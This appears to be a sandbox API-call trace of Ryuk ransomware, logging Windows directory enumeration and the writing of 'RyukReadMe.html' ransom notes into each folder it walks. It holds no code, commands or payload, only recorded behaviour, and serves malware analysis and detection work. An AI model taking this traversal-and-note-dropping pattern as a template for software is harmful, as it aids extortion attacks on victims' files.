	[0235.620] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.620] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x30db3250, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="ExplorerStartupLog.etl", cAlternateFileName="EXPLOR~2.ETL")) returned 1
	[0235.620] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x54aad4c0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="ExplorerStartupLog_RunOnce.etl", cAlternateFileName="EXPLOR~1.ETL")) returned 1
	[0235.620] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af74c0, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_1024.db", cAlternateFileName="TH78CB~1.DB")) returned 1
	[0235.620] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af74c0, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_256.db", cAlternateFileName="THUMBC~4.DB")) returned 1
	[0235.621] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ad1360, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33ad1360, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33ad1360, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_32.db", cAlternateFileName="THUMBC~2.DB")) returned 1
	[0235.621] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ad1360, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33ad1360, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33ad1360, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_96.db", cAlternateFileName="THUMBC~3.DB")) returned 1
	[0235.621] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ad1360, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33ad1360, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33ad1360, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0xcb8, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_idx.db", cAlternateFileName="THUMBC~1.DB")) returned 1
	[0235.621] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af74c0, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_sr.db", cAlternateFileName="TH0F82~1.DB")) returned 1
	[0235.621] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af74c0, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_sr.db", cAlternateFileName="TH0F82~1.DB")) returned 0
	[0235.621] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0235.621] SetLastError (dwErrCode=0x0) 
	[0235.621] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.642] GetLastError () returned 0x0
	[0235.642] WriteFile (in: hFile=0x72c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0235.646] CloseHandle (hObject=0x72c) returned 1
	[0235.647] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1
	[0235.648] SetLastError (dwErrCode=0x0) 
	[0235.648] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.649] GetLastError () returned 0xb7
	[0235.649] CloseHandle (hObject=0x72c) returned 1
	[0235.650] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\GameExplorer\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0235.651] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.652] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0235.652] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0235.652] SetLastError (dwErrCode=0x0) 
	[0235.652] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\GameExplorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\gameexplorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.652] GetLastError () returned 0x3
	[0235.653] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0235.653] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.653] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0235.653] SetLastError (dwErrCode=0x0) 
	[0235.653] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0235.654] GetLastError () returned 0xb7
	[0235.654] CloseHandle (hObject=0x72c) returned 1
	[0235.867] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0235.867] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.868] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0235.868] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0235.868] SetLastError (dwErrCode=0x0) 
	[0235.868] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0235.868] GetLastError () returned 0xb7
	[0235.868] CloseHandle (hObject=0x734) returned 1
	[0235.869] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0235.869] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.870] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0235.870] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x49da51a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0235.870] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5bdddd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 1
	[0235.870] SetLastError (dwErrCode=0x0) 
	[0235.870] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.870] GetLastError () returned 0x3
	[0235.870] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0235.870] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.870] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x218, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0235.871] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0235.871] SetLastError (dwErrCode=0x0) 
	[0235.871] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020010820200109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\history.ie5\\mshist012020010820200109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.871] GetLastError () returned 0x3
	[0235.871] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0235.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.872] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x527692b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0235.872] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x527692b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0235.872] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0235.872] SetLastError (dwErrCode=0x0) 
	[0235.872] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.872] GetLastError () returned 0x3
	[0235.872] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0235.873] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.873] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0235.873] SetLastError (dwErrCode=0x0) 
	[0235.873] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0235.873] GetLastError () returned 0xb7
	[0235.873] CloseHandle (hObject=0x734) returned 1
	[0235.873] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0235.874] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
